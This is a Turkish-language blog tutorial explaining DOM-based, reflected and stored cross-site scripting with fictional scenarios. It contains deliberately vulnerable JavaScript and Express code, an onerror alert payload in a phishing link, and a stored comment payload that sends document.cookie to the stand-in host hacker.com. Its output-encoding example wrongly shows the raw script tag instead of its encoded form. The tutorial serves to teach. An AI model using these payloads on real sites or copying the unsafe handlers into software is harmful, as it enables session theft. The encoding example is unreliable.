Her şey, X User adlı kullanıcının masum bir arama kutusuna kendi ismini yazmasıyla başladı. Ekrandaki "Üzgünüm, ahmet için sonuç bulunamadı" yazısı, aslında dijital bir yardım çığlığıydı. O an kimse farkında değildi; ancak sunucu, Ahmet'e sadece bir cevap dönmekle kalmıyor, kapılarını sonuna kadar bir yabancıya açıyordu. Bugün; kod satırları arasına gizlenmiş o sessiz casusu, yani Cross-Site Scripting (XSS) zafiyetini en çıplak haliyle masaya yatırıyoruz.
Tarayıcınızın her gördüğü koda neden inanmaması gerektiğini hiç düşündünüz mü? Veya basit bir URL parametresinin, nasıl olup da tüm banka hesaplarınızın anahtarına dönüşebileceğini? Modern web güvenliğinin en büyük baş ağrısı olan XSS; sanıldığının aksine karmaşık bir sihirbazlık değil, bir "yansıma" hatasıdır.
Bu rehberde, sunucu ve tarayıcı arasındaki o tehlikeli trafiği adım adım takip edecek ve "savunma duvarlarının" nasıl ihlal edilebileceğini öğreneceğiz. Elbette her senaryoyu tek tek canlandırmayacağız; ancak en bilinen zafiyet türleri üzerinden kurgular yaparak, korunma yöntemleri ve güvenlik teorileri üretmek adına fikir sahibi olacağız.
XSS (Cross-Site Scripting), web uygulamalarında en sık karşılaşılan ve etkisi en yıkıcı olabilen güvenlik açıklarından biridir. Temel mantığı oldukça basittir. Bir saldırganın, zararlı JavaScript kodlarını hedef web sayfasına "enjekte" etmesi ve bu kodların, sayfayı ziyaret eden diğer masum kullanıcıların tarayıcılarında çalıştırılmasıdır.
Bu zafiyet; genellikle kullanıcıdan alınan verilerin (arama terimleri, yorumlar, kullanıcı adları vb.) herhangi bir filtreleme veya güvenlik kontrolünden geçirilmeden, doğrudan sayfa içeriğine (Response Body) dahil edilmesiyle ortaya çıkar. Yani sunucu, kendisine gelen zehirli bir fısıltıyı, hiçbir süzgeçten geçirmeden diğer kullanıcılara haykırmaya başlar.

Gelin, En Bilinen XSS Türlerine Hep Birlikte Bakalım!
1. DOM-Based XSS (İstemci Taraflı Tuzak)
XSS dünyasının en sinsi türlerinden biri olan DOM-based XSS, diğerlerinden çok önemli bir noktada ayrılır: Kod sunucuya hiç gitmez. Buradaki zafiyet tamamen tarayıcıda, yani kullanıcı tarafında (Client-side) gerçekleşir. Peki, bu nasıl mümkün oluyor? Sayfadaki hatalı bir JavaScript fonksiyonu, URL'deki bir parçayı (örneğin # işaretinden sonraki kısmı) alıp hiçbir güvenlik süzgecinden geçirmeden doğrudan sayfanın içine (DOM) yazar.
Bir senaryo canlandıralım;
Sunucumuz (Server) tamamen güvenli olabilir, ancak X user, her zamanki gibi bilgisayarının başına oturur ve favori web uygulaması olan x.com'a girer. Site modern, hızlı ve tamamen JavaScript ile çalışan bir arayüze sahiptir.
Ana sayfada bir özellik dikkatini çeker: 👉 URL'de yazan kelimeye göre sayfada anlık bir mesaj gösterilmektedir.
X user adres çubuğuna şunu yazar:
http://x.com/#MerhabaSayfa açılır ve ekranda şu yazı belirir:
"Merhaba"
🔍 Perde Arkası;
X user merak eder ve sayfanın JavaScript kodunu inceler:

const message = location.hash.substring(1);
document.getElementById("output").innerHTML = message;Veri Sayfaya Nasıl Basılıyor?Veri Nasıl Alınıyor?
Aşağıdaki satır, bir saldırganın tarayıcıya sızmak için kullandığı o ilk basamağı temsil eder:
// URL'deki hash kısmını alıp '#' işaretini temizleyen değişken
const message = location.hash.substring(1);
# Bu Satır Tam Olarak Ne Yapıyor?
-> location: Tarayıcıda o an açık olan mevcut URL bilgisini tutan nesnedir.
-> location.hash: URL'de # işaretinden sonra gelen tüm kısmı yakalar.
Örnek URL: https://site.com/page#hello
Değer: #hello
-> substring(1): String (metin) ifadesinin ilk karakterini atar. Burada amaca hizmet ederek başındaki # işaretini kaldırır.
İşlem: "#hello".substring(1) ➡️ "hello"
!!! Özetle: Bu kod parçası, URL'deki hash kısmını alır, başındaki işareti temizler ve tertemiz görünen bir message değişkenine atar.Veri Sayfaya Nasıl Basılıyor?
document.getElementById("output").innerHTML = message;
-> document: HTML sayfasının tamamını temsil eden ana nesnedir (DOM).
-> getElementById("output"): Sayfa içinde id="output" olan hedef elementi (örneğin boş bir div) bulur ve seçer.
-> .innerHTML = message: İşte en kritik nokta! message değişkenindeki veriyi sadece bir yazı olarak değil, bir HTML kodu gibi sayfaya işler.‼️Not:
✅ innerHTML, gelen veriyi sadece metin olarak değil, HTML ve JavaScript olarak işler.
Sosyal Mühendislik ve DOM XSS
Zafiyetin sadece kod satırlarında kalmadığını, bir "olta" (Phishing) saldırısına nasıl dönüştüğünü gelin bir örnekle inceleyelim:
Keşif: X User, x.com üzerinde bir DOM XSS açığı fark eder ve iyi niyetle LinkedIn üzerinden bu durumu paylaşır.
Tuzak: Durumu fırsat bilen kötü niyetli Y User, paylaşımın altına şu yorumu bırakır: "Ben de aynı sitede farklı bir zafiyet buldum, bakabilir misin?"
Zehirli Link: Paylaştığı link tam olarak şöyledir:
http://x.com/#<img src=x onerror=alert('PENTARA_XSS_HACKED')>Sonuç: Meraklı olan X, Z, T ve diğer kullanıcılar, linkin başındaki güvenilir x.com adresini görünce şüphelenmeden tıklarlar.
Oltalama (Phishing): Linke tıklandığı an, tarayıcı URL'deki o zararlı kodu okur ve innerHTML yüzünden sayfaya işler. Kullanıcıların karşısına bir uyarı penceresi çıkar veya arka planda gizlice oturum bilgileri (Cookies) çalınır.

Özetle DOM XSS; sunucunun ruhu bile duymadan, saldırganın tarayıcıdaki JavaScript kodlarını manipüle ederek kendi silahıyla kendini vurmasını sağlayan, tamamen 'istemci taraflı' (Client-side) bir dijital tuzaktır.
2. Reflected XSS: "ahmet" Yazısının Arkasındaki Gerçek
Hatırlarsanız makalenin başında, X User'ın arama kutusuna yazdığı "ahmet" isminin aslında dijital bir yardım çığlığı olduğundan bahsetmiştik. İşte o anın perde arkasında dönen "yansıma" (Reflected) trafiği tam olarak şöyledir:
1. İstek (Request) Aşaması
Kullanıcı arama butonuna bastığında, tarayıcı sunucuya bir kurye gönderir. URL şu şekildedir:
https://site.com/search?q=ahmet2. Sunucunun "Ayna" Görevi
Sunucu, gelen bu q=ahmet verisini alır. Ancak ortada büyük bir güvenlik hatası vardır: Sunucu, gelen veriyi bir süzgeçten geçirmek yerine, olduğu gibi geri yansıtır. ```javascript // Sunucu tarafındaki zafiyetli kod (Node.js/Express) res.send
res.send(`
<h1>${req.query.q} için sonuç bulunamadı.</h1>
`);3. Yanıt (Response) ve Patlama
Eğer bir saldırgan `q` parametresine isim yerine bir kod yazarsa; sunucu bu kodu alır, HTML sayfasının içine gömer ve tarayıcıya geri fırlatır. Tarayıcı bu paketi açtığında, içinde sunucudan gelen "resmi" bir komut olduğunu sanarak kodu çalıştırır.

Peki Neden "Reflected" (Yansıyan) Diyoruz?
Bu zafiyet türüne "Yansıyan" denmesinin çok temel ve mantıklı bir sebebi var. Bunu bir ayna gibi düşünebiliriz:
- Ayna Etkisi: Siz aynanın karşısında durduğunuz sürece ayna sizi yansıtır. Ancak siz aynanın karşısından çekildiğiniz an, görüntü de kaybolur.
- XSS Bağlantısı: Zararlı kod sunucuda saklanmaz (veritabanına kaydedilmez). Sadece o anlık yapılan "istek" (Request), sunucudan bir ayna gibi "yanıt" (Response) olarak geri döner.
PENTARA Notu: Eğer o anlık oluşturulan "zehirli linke" tıklamazsanız veya sayfayı yenilerseniz, ayna boş kalır ve saldırı sona erer. Yani bu saldırı, sadece o özel URL'ye tıklayan kişiyi, o anlık hedef alır.
const express = require('express');
const app = express();
app.get('/selamla', (req, res) => {
// 1. Kullanıcıdan gelen veriyi (URL parametresini) alıyoruz.
const userName = req.query.name;
// 2. TEHLİKE: Gelen veriyi kontrol etmeden doğrudan HTML içine gömüyoruz.
// Sunucu burada tam bir 'ayna' görevi görüyor.
res.send(`<h1>Merhaba ${userName}, sayfama hoş geldin!</h1>`);
});
app.listen(3000, () => console.log('Sunucu 3000 portunda çalışıyor...'));
3. Stored XSS (Kalıcı / Depolanan XSS)
Bu zafiyet türünde saldırganın gönderdiği zararlı kod, sunucu tarafından Veritabanına (Database) kaydedilir. Artık o sayfayı (bir blog yazısını, bir profili veya bir yorumu) ziyaret eden herkes, bu kodu farkında olmadan kendi tarayıcısına indirir ve çalıştırır.
1.Saldırı (Enjeksiyon):
Y user, popüler bir alışveriş sitesi olan x.com'da gezinmektedir. Yeni piyasaya sürülen iPhone 17 ürün sayfasına girer ve ürünün altına bir yorum bırakmak ister. Ancak Y user sıradan bir kullanıcı değildir — aslında bir saldırgandır.
Asıl amacı ise, bu platformu ziyaret eden kullanıcıların verilerini ele geçirmek ve onları kendi oluşturduğu sahte bir web sitesine yönlendirerek hassas bilgilerini, hatta kullanıcıları sahte bir ödeme sayfasına yönlendirerek kart bilgilerini girmeye zorlamak istiyor.
Yorum kısmına şu metni yazar:
Harika ürün! <script>fetch('http://hacker.com/steal?cookie=' + document.cookie)</script>
// Bu sadece masum görünen bir kamuflaj.
Harika ürün!
<script>
// fetch = HTTP isteği gönder demek.
// document.cookie = kullanıcının cookie bilgilerini alır!!!
fetch('http://hacker.com/steal?cookie=' + document.cookie)
</script>
🔥 Şuan ne oluyor?
Tarayıcı şunu yapar:
👉 Hacker sunucusuna istek atar ve,
👉 cookie'yi URL ile gönderir.
➡️ saldırgan:
✅ session'ı alır
✅ hesabı ele geçirebilir2.Kayıt:
Sunucu, bu yorumu kontrol etmeden veritabanına comments tablosuna kaydeder.
3.Tetiklenme:
Sen, ben veya başka bir kullanıcı o ürünün sayfasını açtığımızda, sunucu veritabanındaki tüm yorumları çeker ve bizim ekranımıza basar.
4.Sonuç:
Sayfa yüklendiği anda her şey zaten başlamıştır. Tarayıcın, farkında olmadan bu gizli script'i çalıştırır ve oturum bilgilerin (session/cookie) sessizce saldırganın sunucusuna aktarılır. Senin herhangi bir etkileşimde bulunmana bile gerek yoktur — sadece sayfayı görüntülemen yeterlidir.

‼️Not:
🔴 Kritik Nokta
Bu saldırı:
- ❌ kullanıcı fark etmez,
- ❌ tıklama gerekmez,
- ✅ sayfa açılır açılmaz çalışır,
- …
🔐 XSS Saldırılarına Karşı Nasıl Korunuruz?
XSS zafiyetleri her ne kadar tehlikeli olsa da, doğru önlemler alındığında büyük ölçüde engellenebilir. İşte en temel savunma yöntemleri:
Output Encoding (En Kritik Önlem)
Kullanıcıdan gelen veriler doğrudan HTML içine yazılmamalıdır. Bunun yerine özel karakterler encode edilmelidir.
Örnek:
<script>alert(1)</script>Bu sayede tarayıcı kodu çalıştırmaz, sadece metin olarak gösterir.
Bir sonraki makalede, XSS'e karşı nasıl korunabileceğimizi ve bu açıkları nasıl kapatabileceğimizi birlikte adım adım inceleyeceğiz dostlar.
Sizlere YouTube başta olmak üzere çeşitli platformlarda daha teknik, uygulamalı ve derinlemesine içerikler sunmaya devam ediyorum.
Yeni CTF çözümleri, siber güvenlik ipuçları ve pratik anlatımlardan haberdar olmak için kanalıma göz atabilir ve içerikleri takip edebilirsiniz: